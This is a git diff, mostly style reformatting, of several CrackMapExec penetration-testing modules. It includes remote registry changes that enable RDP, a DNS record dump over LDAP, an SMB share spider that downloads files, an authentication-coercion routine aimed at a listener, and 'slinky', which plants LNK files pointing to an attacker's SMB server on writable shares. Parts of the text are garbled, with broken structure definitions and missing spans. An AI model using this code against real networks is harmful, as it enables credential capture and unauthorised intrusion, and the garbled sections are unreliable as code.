smbconnection): @@ -45,17 +45,27 @@ class CMEModule: if remoteOps._RemoteOperations__rrp: ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] + regHandle = ans["phKey"] - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server') - keyHandle = ans['phkResult'] + ans = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + "SYSTEM\\CurrentControlSet\\Control\\Terminal Server", + ) + keyHandle = ans["phkResult"] - rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00', rrp.REG_DWORD, 0) + rrp.hBaseRegSetValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "fDenyTSConnections\x00", + rrp.REG_DWORD, + 0, + ) - rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00') + rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "fDenyTSConnections\x00") if int(data) == 0: - context.log.success('RDP enabled successfully') + context.log.success("RDP enabled successfully") try: remoteOps.finish() @@ -68,17 +78,27 @@ class CMEModule: if remoteOps._RemoteOperations__rrp: ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] + regHandle = ans["phKey"] - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server') - keyHandle = ans['phkResult'] + ans = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + "SYSTEM\\CurrentControlSet\\Control\\Terminal Server", + ) + keyHandle = ans["phkResult"] - rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00', rrp.REG_DWORD, 1) + rrp.hBaseRegSetValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "fDenyTSConnections\x00", + rrp.REG_DWORD, + 1, + ) - rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00') + rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "fDenyTSConnections\x00") if int(data) == 1: - context.log.success('RDP disabled successfully') + context.log.success("RDP disabled successfully") try: remoteOps.finish() diff --git a/cme/modules/reg-query.py b/cme/modules/reg-query.py index df73c193..cb754906 100644 --- a/cme/modules/reg-query.py +++ b/cme/modules/reg-query.py @@ -7,9 +7,9 @@ from impacket.examples.secretsdump import RemoteOperations class CMEModule: - name = 'reg-query' - description = 'Performs a registry query on the machine' - supported_protocols = ['smb'] + name = "reg-query" + description = "Performs a registry query on the machine" + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True @@ -39,29 +39,29 @@ class CMEModule: self.type = None self.delete = False - if module_options and 'PATH' in module_options: - self.path = module_options['PATH'] + if module_options and "PATH" in module_options: + self.path = module_options["PATH"] - if module_options and 'KEY' in module_options: - self.key = module_options['KEY'] + if module_options and "KEY" in module_options: + self.key = module_options["KEY"] - if 'VALUE' in module_options: - self.value = module_options['VALUE'] - if 'TYPE' in module_options: + if "VALUE" in module_options: + self.value = module_options["VALUE"] + if "TYPE" in module_options: type_dict = { - 'REG_NONE': rrp.REG_NONE, - 'REG_SZ': rrp.REG_SZ, - 'REG_EXPAND_SZ': rrp.REG_EXPAND_SZ, - 'REG_BINARY': rrp.REG_BINARY, - 'REG_DWORD': rrp.REG_DWORD, - 'REG_DWORD_BIG_ENDIAN': rrp.REG_DWORD_BIG_ENDIAN, - 'REG_LINK': rrp.REG_LINK, - 'REG_MULTI_SZ': rrp.REG_MULTI_SZ, - 'REG_QWORD': rrp.REG_QWORD + "REG_NONE": rrp.REG_NONE, + "REG_SZ": rrp.REG_SZ, + "REG_EXPAND_SZ": rrp.REG_EXPAND_SZ, + "REG_BINARY": rrp.REG_BINARY, + "REG_DWORD": rrp.REG_DWORD, + "REG_DWORD_BIG_ENDIAN": rrp.REG_DWORD_BIG_ENDIAN, + "REG_LINK": rrp.REG_LINK, + "REG_MULTI_SZ": rrp.REG_MULTI_SZ, + "REG_QWORD": rrp.REG_QWORD, } - self.type = module_options['TYPE'] + self.type = module_options["TYPE"] if "WORD" in self.type: - try : + try: self.value = int(self.value) except: context.log.fail(f"Invalid registry value type specified: {self.value}") @@ -73,8 +73,8 @@ class CMEModule: return else: self.type = 1 - - if module_options and 'DELETE' in module_options and module_options['DELETE'].lower() == 'true': + + if module_options and "DELETE" in module_options and module_options["DELETE"].lower() == "true": self.delete = True def on_admin_login(self, context, connection): @@ -88,62 +88,43 @@ class CMEModule: remote_ops = RemoteOperations(connection.conn, False) remote_ops.enableRegistry() - + try: if "HKLM" in self.path or "HKEY_LOCAL_MACHINE" in self.path: - self.path = self.path.replace('HKLM\\', '') + self.path = self.path.replace("HKLM\\", "") ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) elif "HKCU" in self.path or "HKEY_CURRENT_USER" in self.path: - self.path = self.path.replace('HKCU\\', '') + self.path = self.path.replace("HKCU\\", "") ans = rrp.hOpenCurrentUser(remote_ops._RemoteOperations__rrp) elif "HKCR" in self.path or "HKEY_CLASSES_ROOT" in self.path: - self.path = self.path.replace('HKCR\\', '') + self.path = self.path.replace("HKCR\\", "") ans = rrp.hOpenClassesRoot(remote_ops._RemoteOperations__rrp) else: self.context.log.fail(f"Unsupported registry hive specified in path: {self.path}") return - - reg_handle = ans['phKey'] - ans = rrp.hBaseRegOpenKey( - remote_ops._RemoteOperations__rrp, - reg_handle, - self.path - ) - key_handle = ans['phkResult'] + + reg_handle = ans["phKey"] + ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, self.path) + key_handle = ans["phkResult"] if self.delete: # Delete registry try: # Check if value exists - data_type, reg_value = rrp.hBaseRegQueryValue( - remote_ops._RemoteOperations__rrp, - key_handle, - self.key - ) + data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key) except: self.context.log.fail(f"Registry key {self.key} does not exist") return # Delete value - rrp.hBaseRegDeleteValue( - remote_ops._RemoteOperations__rrp, - key_handle, - self.key - ) + rrp.hBaseRegDeleteValue(remote_ops._RemoteOperations__rrp, key_handle, self.key) self.context.log.success(f"Registry key {self.key} has been deleted successfully") - rrp.hBaseRegCloseKey( - remote_ops._RemoteOperations__rrp, - key_handle - ) + rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) if self.value is not None: # Check if value exists try: # Check if value exists - data_type, reg_value = rrp.hBaseRegQueryValue( - remote_ops._RemoteOperations__rrp, - key_handle, - self.key - ) + data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key) self.context.log.highlight(f"Key {self.key} exists with value {reg_value}") # Modification rrp.hBaseRegSetValue( @@ -151,7 +132,7 @@ class CMEModule: key_handle, self.key, self.type, - self.value + self.value, ) self.context.log.success(f"Key {self.key} has been modified to {self.value}") except: @@ -160,21 +141,14 @@ class CMEModule: key_handle, self.key, self.type, - self.value + self.value, ) self.context.log.success(f"New Key {self.key} has been added with value {self.value}") - rrp.hBaseRegCloseKey( - remote_ops._RemoteOperations__rrp, - key_handle - ) + rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) else: # Query try: - data_type, reg_value = rrp.hBaseRegQueryValue( - remote_ops._RemoteOperations__rrp, - key_handle, - self.key - ) + data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key) self.context.log.highlight(f"{self.key}: {reg_value}") except: if self.delete: diff --git a/cme/modules/runasppl.py b/cme/modules/runasppl.py index 84524079..dddf877f 100644 --- a/cme/modules/runasppl.py +++ b/cme/modules/runasppl.py @@ -1,6 +1,7 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- + class CMEModule: name = "runasppl" description = "Check if the registry value RunAsPPL is set or not" diff --git a/cme/modules/scan-network.py b/cme/modules/scan-network.py index a52a1264..313ff1dd 100644 --- a/cme/modules/scan-network.py +++ b/cme/modules/scan-network.py @@ -2,6 +2,7 @@ # Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan # module by @mpgn_x64 +from os.path import expanduser import codecs import socket from builtins import str @@ -15,118 +16,120 @@ from ldap3 import LEVEL def get_dns_zones(connection, root, debug=False): - connection.search(root, '(objectClass=dnsZone)', search_scope=LEVEL, attributes=['dc']) + connection.search(root, "(objectClass=dnsZone)", search_scope=LEVEL, attributes=["dc"]) zones = [] for entry in connection.response: - if entry['type'] != 'searchResEntry': + if entry["type"] != "searchResEntry": continue - zones.append(entry['attributes']['dc']) + zones.append(entry["attributes"]["dc"]) return zones + def get_dns_resolver(server, context): # Create a resolver object dnsresolver = dns.resolver.Resolver() # Is our host an IP? In that case make sure the server IP is used # if not assume lookups are working already try: - if server.startswith('ldap://'): + if server.startswith("ldap://"): server = server[7:] - if server.startswith('ldaps://'): + if server.startswith("ldaps://"): server = server[8:] socket.inet_aton(server) dnsresolver.nameservers = [server] except socket.error: - context.info('Using System DNS to resolve unknown entries. Make sure resolving your target domain works here or specify an IP'\ - ' as target host to use that server for queries') + context.info("Using System DNS to resolve unknown entries. Make sure resolving your" " target domain works here or specify an IP as target host to use that" " server for queries") return dnsresolver + def ldap2domain(ldap): - return re.sub(',DC=', '.', ldap[ldap.lower().find('dc='):], flags=re.I)[3:] + return re.sub(",DC=", ".", ldap[ldap.lower().find("dc=") :], flags=re.I)[3:] + def new_record(rtype, serial): nr = DNS_RECORD() - nr['Type'] = rtype - nr['Serial'] = serial - nr['TtlSeconds'] = 180 + nr["Type"] = rtype + nr["Serial"] = serial + nr["TtlSeconds"] = 180 # From authoritive zone - nr['Rank'] = 240 + nr["Rank"] = 240 return nr + # From: https://docs.microsoft.com/en-us/windows/win32/dns/dns-constants RECORD_TYPE_MAPPING = { - 0: 'ZERO', - 1: 'A', - 2: 'NS', - 5: 'CNAME', - 6: 'SOA', - 12: 'PTR', - #15: 'MX', - #16: 'TXT', - 28: 'AAAA', - 33: 'SRV' -} + 0: "ZERO", + 1: "A", + 2: "NS", + 5: "CNAME", + 6: "SOA", + 12: "PTR", + # 15: 'MX', + # 16: 'TXT', + 28: "AAAA", + 33: "SRV", +} + def searchResEntry_to_dict(results): data = {} - for attr in results['attributes']: - key = str(attr['type']) - value = str(attr['vals'][0]) + for attr in results["attributes"]: + key = str(attr["type"]) + value = str(attr["vals"][0]) data[key] = value return data class CMEModule: - - name = 'get-network' + name = "get-network" description = "" - supported_protocols = ['ldap'] + supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = True def options(self, context, module_options): """ - ALL Get DNS and IP (default: false) - ONLY_HOSTS Get DNS only (no ip) (default: false) + ALL Get DNS and IP (default: false) + ONLY_HOSTS Get DNS only (no ip) (default: false) """ self.showall = False self.showhosts = False self.showip = True - if module_options and 'ALL' in module_options: - if module_options['ALL'].lower() == "true" or module_options['ALL'] == "1": + if module_options and "ALL" in module_options: + if module_options["ALL"].lower() == "true" or module_options["ALL"] == "1": self.showall = True else: print("Could not parse ALL option.") - if module_options and 'IP' in module_options: - if module_options['IP'].lower() == "true" or module_options['IP'] == "1": + if module_options and "IP" in module_options: + if module_options["IP"].lower() == "true" or module_options["IP"] == "1": self.showip = True else: print("Could not parse ONLY_HOSTS option.") - if module_options and 'ONLY_HOSTS' in module_options: - if module_options['ONLY_HOSTS'].lower() == "true" or module_options['ONLY_HOSTS'] == "1": + if module_options and "ONLY_HOSTS" in module_options: + if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1": self.showhosts = True else: print("Could not parse ONLY_HOSTS option.") - def on_login(self, context, connection): zone = ldap2domain(connection.baseDN) - dnsroot = 'CN=MicrosoftDNS,DC=DomainDnsZones,%s' % connection.baseDN - searchtarget = 'DC=%s,%s' % (zone, dnsroot) - context.log.display('Querying zone for records') - sfilter = '(DC=*)' + dnsroot = "CN=MicrosoftDNS,DC=DomainDnsZones,%s" % connection.baseDN + searchtarget = "DC=%s,%s" % (zone, dnsroot) + context.log.display("Querying zone for records") + sfilter = "(DC=*)" try: list_sites = connection.ldapConnection.search( searchBase=searchtarget, searchFilter=sfilter, - attributes=['dnsRecord','dNSTombstoned','name'], - sizeLimit=100000 + attributes=["dnsRecord", "dNSTombstoned", "name"], + sizeLimit=100000, ) except ldap.LDAPSearchError as e: - if e.getErrorString().find('sizeLimitExceeded') >= 0: - context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received') + if e.getErrorString().find("sizeLimitExceeded") >= 0: + context.log.debug("sizeLimitExceeded exception caught, giving up and processing the" " data received") # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries list_sites = e.getAnswers() @@ -142,39 +145,56 @@ class CMEModule: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue site = searchResEntry_to_dict(item) - recordname = site['name'] + recordname = site["name"] if "dnsRecord" in site: - record = bytes(site['dnsRecord'].encode('latin1')) + record = bytes(site["dnsRecord"].encode("latin1")) dr = DNS_RECORD(record) - if RECORD_TYPE_MAPPING[dr['Type']] == "A": - if dr['Type'] == 1: - address = DNS_RPC_RECORD_A(dr['Data']) - if str(recordname) != 'DomainDnsZones' and str(recordname) != 'ForestDnsZones': - outdata.append({'name':recordname, 'type': RECORD_TYPE_MAPPING[dr['Type']], 'value': address.formatCanonical()}) - if dr['Type'] in [a for a in RECORD_TYPE_MAPPING if RECORD_TYPE_MAPPING[a] in ['CNAME', 'NS', 'PTR']]: - address = DNS_RPC_RECORD_NODE_NAME(dr['Data']) - if str(recordname) != 'DomainDnsZones' and str(recordname) != 'ForestDnsZones': - outdata.append({'name':recordname, 'type':RECORD_TYPE_MAPPING[dr['Type']], 'value': address[list(address.fields)[0]].toFqdn()}) - elif dr['Type'] == 28: - address = DNS_RPC_RECORD_AAAA(dr['Data']) - if str(recordname) != 'DomainDnsZones' and str(recordname) != 'ForestDnsZones': - outdata.append({'name':recordname, 'type':RECORD_TYPE_MAPPING[dr['Type']], 'value': address.formatCanonical()}) + if RECORD_TYPE_MAPPING[dr["Type"]] == "A": + if dr["Type"] == 1: + address = DNS_RPC_RECORD_A(dr["Data"]) + if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones": + outdata.append( + { + "name": recordname, + "type": RECORD_TYPE_MAPPING[dr["Type"]], + "value": address.formatCanonical(), + } + ) + if dr["Type"] in [a for a in RECORD_TYPE_MAPPING if RECORD_TYPE_MAPPING[a] in ["CNAME", "NS", "PTR"]]: + address = DNS_RPC_RECORD_NODE_NAME(dr["Data"]) + if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones": + outdata.append( + { + "name": recordname, + "type": RECORD_TYPE_MAPPING[dr["Type"]], + "value": address[list(address.fields)[0]].toFqdn(), + } + ) + elif dr["Type"] == 28: + address = DNS_RPC_RECORD_AAAA(dr["Data"]) + if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones": + outdata.append( + { + "name": recordname, + "type": RECORD_TYPE_MAPPING[dr["Type"]], + "value": address.formatCanonical(), + } + ) - context.log.highlight('Found %d records' % len(outdata)) - path = os.path.expanduser('~/.cme/logs/{}_network_{}.log'.format(connection.domain, datetime.now().strftime("%Y-%m-%d_%H%M%S"))) - with codecs.open(path, 'w', 'utf-8') as outfile: + context.log.highlight("Found %d records" % len(outdata)) + path = expanduser("~/.cme/logs/{}_network_{}.log".format(connection.domain, datetime.now().strftime("%Y-%m-%d_%H%M%S"))) + with codecs.open(path, "w", "utf-8") as outfile: for row in outdata: if self.showhosts: - outfile.write('{}\n'.format(row['name'] + '.' + connection.domain)) + outfile.write("{}\n".format(row["name"] + "." + connection.domain)) elif self.showall: - outfile.write('{} \t {}\n'.format(row['name'] + '.' + connection.domain, row['value'])) + outfile.write("{} \t {}\n".format(row["name"] + "." + connection.domain, row["value"])) else: - outfile.write('{}\n'.format(row['value'])) - context.log.success('Dumped {} records to {}'.format(len(outdata), path)) + outfile.write("{}\n".format(row["value"])) + context.log.success("Dumped {} records to {}".format(len(outdata), path)) if not self.showall and not self.showhosts: - context.log.display("To extract CIDR from the {} ip, run the following command: cat your_file | mapcidr -aa -silent | mapcidr -a -silent".format(len(outdata))) - + context.log.display("To extract CIDR from the {} ip, run the following command: cat" " your_file | mapcidr -aa -silent | mapcidr -a -silent".format(len(outdata))) class DNS_RECORD(Structure): @@ -182,19 +202,21 @@ class DNS_RECORD(Structure): dnsRecord - used in LDAP [MS-DNSP] section 2.3.2.2 """ + structure = ( - ('DataLength', 'L'), - ('Reserved', 'L"), + ("Reserved", "H'), - ('wRecordCount', '>H'), - ('dwFlags', '>L'), - ('dwChildCount', '>L'), - ('dnsNodeName', ':') + ("wLength", ">H"), + ("wRecordCount", ">H"), + ("dwFlags", ">L"), + ("dwChildCount", ">L"), + ("dnsNodeName", ":"), ) + class DNS_RPC_RECORD_A(Structure): """ DNS_RPC_RECORD_A [MS-DNSP] section 2.2.2.2.4.1 """ - structure = ( - ('address', ':'), - ) + + structure = (("address", ":"),) def formatCanonical(self): - return socket.inet_ntoa(self['address']) + return socket.inet_ntoa(self["address"]) def fromCanonical(self, canonical): - self['address'] = socket.inet_aton(canonical) + self["address"] = socket.inet_aton(canonical) class DNS_RPC_RECORD_NODE_NAME(Structure): @@ -273,83 +294,88 @@ class DNS_RPC_RECORD_NODE_NAME(Structure): DNS_RPC_RECORD_NODE_NAME [MS-DNSP] section 2.2.2.2.4.2 """ - structure = ( - ('nameNode', ':', DNS_COUNT_NAME), - ) + + structure = (("nameNode", ":", DNS_COUNT_NAME),) + class DNS_RPC_RECORD_SOA(Structure): """ DNS_RPC_RECORD_SOA [MS-DNSP] section 2.2.2.2.4.3 """ + structure = ( - ('dwSerialNo', '>L'), - ('dwRefresh', '>L'), - ('dwRetry', '>L'), - ('dwExpire', '>L'), - ('dwMinimumTtl', '>L'), - ('namePrimaryServer', ':', DNS_COUNT_NAME), - ('zoneAdminEmail', ':', DNS_COUNT_NAME) + ("dwSerialNo", ">L"), + ("dwRefresh", ">L"), + ("dwRetry", ">L"), + ("dwExpire", ">L"), + ("dwMinimumTtl", ">L"), + ("namePrimaryServer", ":", DNS_COUNT_NAME), + ("zoneAdminEmail", ":", DNS_COUNT_NAME), ) + class DNS_RPC_RECORD_NULL(Structure): """ DNS_RPC_RECORD_NULL [MS-DNSP] section 2.2.2.2.4.4 """ - structure = ( - ('bData', ':'), - ) + + structure = (("bData", ":"),) + # Some missing structures here that I skipped + class DNS_RPC_RECORD_NAME_PREFERENCE(Structure): """ DNS_RPC_RECORD_NAME_PREFERENCE [MS-DNSP] section 2.2.2.2.4.8 """ - structure = ( - ('wPreference', '>H'), - ('nameExchange', ':', DNS_COUNT_NAME) - ) + + structure = (("wPreference", ">H"), ("nameExchange", ":", DNS_COUNT_NAME)) + # Some missing structures here that I skipped + class DNS_RPC_RECORD_AAAA(Structure): """ DNS_RPC_RECORD_AAAA [MS-DNSP] section 2.2.2.2.4.17 """ - structure = ( - ('ipv6Address', '16s'), - ) + + structure = (("ipv6Address", "16s"),) def formatCanonical(self): - return socket.inet_ntop(socket.AF_INET6, self['ipv6Address']) + return socket.inet_ntop(socket.AF_INET6, self["ipv6Address"]) + class DNS_RPC_RECORD_SRV(Structure): """ DNS_RPC_RECORD_SRV [MS-DNSP] section 2.2.2.2.4.18 """ + structure = ( - ('wPriority', '>H'), - ('wWeight', '>H'), - ('wPort', '>H'), - ('nameTarget', ':', DNS_COUNT_NAME) + ("wPriority", ">H"), + ("wWeight", ">H"), + ("wPort", ">H"), + ("nameTarget", ":", DNS_COUNT_NAME), ) + class DNS_RPC_RECORD_TS(Structure): """ DNS_RPC_RECORD_TS [MS-DNSP] section 2.2.2.2.4.23 """ - structure = ( - ('entombedTime', '= 0: + if str(e).find("STATUS_PIPE_NOT_AVAILABLE") >= 0: dce.disconnect() return 1 cme_logger.debug("Something went wrong, check error status => %s" % str(e)) cme_logger.info("Connected!") - cme_logger.info("Binding to %s" % binding_params[pipe]['UUID'][0]) + cme_logger.info("Binding to %s" % binding_params[pipe]["UUID"][0]) try: - dce.bind(uuidtup_to_bin(binding_params[pipe]['UUID'])) + dce.bind(uuidtup_to_bin(binding_params[pipe]["UUID"])) except Exception as e: cme_logger.debug("Something went wrong, check error status => %s" % str(e)) @@ -187,15 +253,15 @@ class CoerceAuth: request = IsPathShadowCopied() # only NETLOGON and SYSVOL were detected working here # setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED) - request['ShareName'] = '\\\\%s\\NETLOGON\x00' % listener + request["ShareName"] = "\\\\%s\\NETLOGON\x00" % listener # request.dump() dce.request(request) except Exception as e: cme_logger.debug("Something went wrong, check error status => %s", str(e)) cme_logger.debug("Attack may of may not have worked, check your listener...") - return False + return False - return True + return True def IsPathSupported(self, dce, listener): cme_logger.debug("Sending IsPathSupported!") @@ -203,11 +269,11 @@ class CoerceAuth: request = IsPathSupported() # only NETLOGON and SYSVOL were detected working here # setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED) - request['ShareName'] = '\\\\%s\\NETLOGON\x00' % listener + request["ShareName"] = "\\\\%s\\NETLOGON\x00" % listener dce.request(request) except Exception as e: cme_logger.debug("Something went wrong, check error status => %s", str(e)) cme_logger.debug("Attack may of may not have worked, check your listener...") - return False + return False return True diff --git a/cme/modules/slinky.py b/cme/modules/slinky.py index cec534cf..ab631db9 100644 --- a/cme/modules/slinky.py +++ b/cme/modules/slinky.py @@ -11,10 +11,11 @@ class CMEModule: Original idea and PoC by Justin Angel (@4rch4ngel86) Module by @byt3bl33d3r """ + name = "slinky" description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions" supported_protocols = ["smb"] - opsec_safe = True + opsec_safe = False multiple_hosts = True def __init__(self, context=None, module_options=None): @@ -35,23 +36,23 @@ class CMEModule: self.cleanup = False - if 'CLEANUP' in module_options: - self.cleanup = bool(module_options['CLEANUP']) + if "CLEANUP" in module_options: + self.cleanup = bool(module_options["CLEANUP"]) - if 'NAME' not in module_options: - context.log.fail('NAME option is required!') + if "NAME" not in module_options: + context.log.fail("NAME option is required!") exit(1) - if not self.cleanup and 'SERVER' not in module_options: - context.log.fail('SERVER option is required!') + if not self.cleanup and "SERVER" not in module_options: + context.log.fail("SERVER option is required!") exit(1) - self.lnk_name = module_options['NAME'] + self.lnk_name = module_options["NAME"] self.lnk_path = f"/tmp/{self.lnk_name}.lnk" self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk") if not self.cleanup: - self.server = module_options['SERVER'] + self.server = module_options["SERVER"] link = pylnk3.create(self.lnk_path) link.icon = f"\\\\{self.server}\\icons\\icon.ico" link.save() @@ -59,19 +60,22 @@ class CMEModule: def on_login(self, context, connection): shares = connection.shares() for share in shares: - if 'WRITE' in share['access'] and share['name'] not in ['C$', 'ADMIN$', 'NETLOGON']: + if "WRITE" in share["access"] and share["name"] not in [ + "C$", + "ADMIN$", + "NETLOGON", + ]: context.log.success(f"Found writable share: {share['name']}") if not self.cleanup: - with open(self.lnk_path, 'rb') as lnk: + with open(self.lnk_path, "rb") as lnk: try: - connection.conn.putFile(share['name'], self.file_path, lnk.read) + connection.conn.putFile(share["name"], self.file_path, lnk.read) context.log.success(f"Created LNK file on the {share['name']} share") except Exception as e: context.log.fail(f"Error writing LNK file to share {share['name']}: {e}") else: try: - connection.conn.deleteFile(share['name'], self.file_path) + connection.conn.deleteFile(share["name"], self.file_path) context.log.success(f"Deleted LNK file on the {share['name']} share") except Exception as e: context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}") - diff --git a/cme/modules/spider_plus.py b/cme/modules/spider_plus.py index 832421a2..9d8c7ad1 100755 --- a/cme/modules/spider_plus.py +++ b/cme/modules/spider_plus.py @@ -12,20 +12,20 @@ from impacket.smbconnection import SessionError CHUNK_SIZE = 4096 -suffixes = ['Bytes', 'KB', 'MB', 'GB', 'TB', 'PB'] +suffixes = ["Bytes", "KB", "MB", "GB", "TB", "PB"] def humansize(nbytes): i = 0 - while nbytes >= 1024 and i < len(suffixes)-1: - nbytes /= 1024. + while nbytes >= 1024 and i < len(suffixes) - 1: + nbytes /= 1024.0 i += 1 - f = ('%.2f' % nbytes).rstrip('0').rstrip('.') - return '%s %s' % (f, suffixes[i]) + f = ("%.2f" % nbytes).rstrip("0").rstrip(".") + return "%s %s" % (f, suffixes[i]) def humaclock(time): - return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time)) + return time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time)) def make_dirs(path): @@ -43,12 +43,20 @@ def make_dirs(path): pass -get_list_from_option = lambda opt: list(map(lambda o: o.lower(), filter(bool, opt.split(',')))) +get_list_from_option = lambda opt: list(map(lambda o: o.lower(), filter(bool, opt.split(",")))) class SMBSpiderPlus: - - def __init__(self, smb, logger, read_only, exclude_dirs, exclude_exts, max_file_size, output_folder): + def __init__( + self, + smb, + logger, + read_only, + exclude_dirs, + exclude_exts, + max_file_size, + output_folder, + ): self.smb = smb self.host = self.smb.conn.getRemoteHost() self.conn_retry = 5 @@ -81,16 +89,16 @@ class SMBSpiderPlus: filelist = [] try: # Get file list for the current folder - filelist = self.smb.conn.listPath(share, subfolder + '*') + filelist = self.smb.conn.listPath(share, subfolder + "*") except SessionError as e: self.logger.debug(f'Failed listing files on share "{share}" in directory {subfolder}.') self.logger.debug(str(e)) - if 'STATUS_ACCESS_DENIED' in str(e): - self.logger.debug(f"Cannot list files in directory \"{subfolder}\"") + if "STATUS_ACCESS_DENIED" in str(e): + self.logger.debug(f'Cannot list files in directory "{subfolder}"') - elif 'STATUS_OBJECT_PATH_NOT_FOUND' in str(e): + elif "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): self.logger.debug(f"The directory {subfolder} does not exist.") elif self.reconnect(): @@ -114,7 +122,7 @@ class SMBSpiderPlus: We retry 3 times if there is a SessionError that is not a `STATUS_END_OF_FILE`. """ - chunk = '' + chunk = "" retry = 3 while retry > 0: @@ -142,24 +150,24 @@ class SMBSpiderPlus: try: # Get all available shares for the SMB connection for share in shares: - perms = share['access'] - name = share['name'] + perms = share["access"] + name = share["name"] - self.logger.debug(f"Share \"{name}\" has perms {perms}") + self.logger.debug(f'Share "{name}" has perms {perms}') # We only want to spider readable shares - if not 'READ' in perms: + if not "READ" in perms: continue # `exclude_dirs` is applied to the shares name if name.lower() in self.exclude_dirs: - self.logger.debug(f"Share \"{name}\" has been excluded.") + self.logger.debug(f'Share "{name}" has been excluded.') continue try: # Start the spider at the root of the share folder self.results[name] = {} - self._spider(name, '') + self._spider(name, "") except SessionError: traceback.print_exc() self.logger.fail(f"Got a session error while spidering") @@ -177,9 +185,9 @@ class SMBSpiderPlus: def _spider(self, share, subfolder): self.logger.debug(f'Spider share "{share}" on folder "{subfolder}"') - filelist = self.list_path(share, subfolder + '*') + filelist = self.list_path(share, subfolder + "*") if share.lower() in self.exclude_dirs: - self.logger.debug(f'The directory has been excluded') + self.logger.debug(f"The directory has been excluded") return # For each entry: @@ -196,20 +204,20 @@ class SMBSpiderPlus: continue if result.is_directory(): - if result.get_longname() in ['.', '..']: + if result.get_longname() in [".", ".."]: continue - self._spider(share, next_path + '/') + self._spider(share, next_path + "/") else: # Record the file metadata self.results[share][next_path] = { - 'size': humansize(result.get_filesize()), + "size": humansize(result.get_filesize()), #'ctime': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_ctime())), - 'ctime_epoch': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_ctime_epoch())), + "ctime_epoch": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(result.get_ctime_epoch())), #'mtime': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_mtime())), - 'mtime_epoch': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_mtime_epoch())), + "mtime_epoch": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(result.get_mtime_epoch())), #'atime': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_atime())), - 'atime_epoch': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_atime_epoch())) + "atime_epoch": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(result.get_atime_epoch())), } # The collection logic is here. You can add more checks based @@ -217,7 +225,7 @@ class SMBSpiderPlus: # Check the file extension. We check here to prevent the creation # of a RemoteFile object that perform a remote connection. - file_extension = next_path[next_path.rfind('.')+1:] + file_extension = next_path[next_path.rfind(".") + 1 :] if file_extension in self.exclude_exts: self.logger.debug(f'The file "{next_path}" has an excluded extension') continue @@ -225,7 +233,7 @@ class SMBSpiderPlus: # If there is not results in the file but the size is correct, # then we save it if result.get_filesize() > self.max_file_size: - self.logger.debug(f'File {result.get_longname()} has size {result.get_filesize()}') + self.logger.debug(f"File {result.get_longname()} has size {result.get_filesize()}") continue ## You can add more checks here: date, ... @@ -248,11 +256,11 @@ class SMBSpiderPlus: remote_file.close() except SessionError as e: - if 'STATUS_SHARING_VIOLATION' in str(e): + if "STATUS_SHARING_VIOLATION" in str(e): pass except Exception as e: traceback.print_exc() - self.logger.fail(f'Error reading file {next_path}: {str(e)}') + self.logger.fail(f"Error reading file {next_path}: {str(e)}") def save_file(self, remote_file): # Reset the remote_file to point to the begining of the file @@ -261,16 +269,16 @@ class SMBSpiderPlus: # 